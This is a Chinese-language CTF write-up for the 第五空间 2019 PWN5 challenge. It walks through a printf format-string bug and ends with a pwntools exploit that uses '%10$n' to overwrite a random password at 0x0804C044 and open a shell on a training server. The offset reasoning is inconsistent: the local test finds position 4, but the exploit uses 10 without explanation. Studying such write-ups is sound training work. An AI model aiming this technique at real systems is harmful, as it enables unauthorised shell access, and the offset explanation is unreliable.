[第五空间2019 决赛]PWN5 1解题思路

首先查看入口函数

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

可以从下面作为突破口

  read(0, buf, 0x63u);
  printf("Hello,");

通过read输入格式化数据如:%n %d 等通过print进行输入

试验证明

#include <stdio.h>

int main() {
    char a[100]="AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p";
    printf(a);
    return 0;
}

通过上述代码打印print的参数,可以得出AAAA在堆栈的哪一个位置

运行结果

\Desktop\[第五空间2019 决赛]PWN5 1解题思路>a.exe
AAAA70252E70252E7025.0000000000AC43F0.0000000000000013.252E702541414141.2E70252E70252E70.70252E70252E7025.252E70252E70252E.2E70252E70252E70.70252E70252E7025.252E70252E70252E.0070252E70252E70.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000000.0000000000000010.0000000000AC1370.00000000004013C7.0000000000000000

可以看到AAAA的编码414141在第四个位置

当我们知道偏移量 k 后,就可以用 %k$n 来直接操作第 k 个参数。例如 %10$n 表示:
取出第 10 个参数的值,把它当作一个内存地址;
将当前已经输出的字符数写入这个地址。

所以 这道题的解题思路是

使用nc进行链接,发送

AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

确认字符位置,然后使用p32(target_addr) + b'%10$n'


发送将发送位置的数字替换为4

target_addr的地址是

.bss:0804C041                 align 4
.bss:0804C044 ; _DWORD dword_804C044
.bss:0804C044 dword_804C044   dd ?                    ; DATA XREF: main+77↑o
.bss:0804C044                                         ; main+108↑o
.bss:0804C044 _bss            ends
.bss:0804C044
extern:0804C048 ; ===========================================================================
extern:0804C048
extern:0804C048 ; Segment type: Externs
extern:0804C048 ; extern
extern:0804C048 ; ssize_t read(int fd, void *buf, size_t nbytes)
extern:0804C048                 extrn read:near         ; CODE XREF: _read↑j
extern:0804C048                                         ; DATA XREF: .got.plt:off_804C00C↑o
extern:0804C04C ; int printf(const char *format, ...)

0804C044

所以最终的攻击代码是

from pwn import *

 
r=remote('node5.buuoj.cn',26244)
backdoor_addr=0x0804C044
payload=p32(backdoor_addr)+ b'%10$n'

r.sendline(payload)

r.sendline("4")
r.interactive()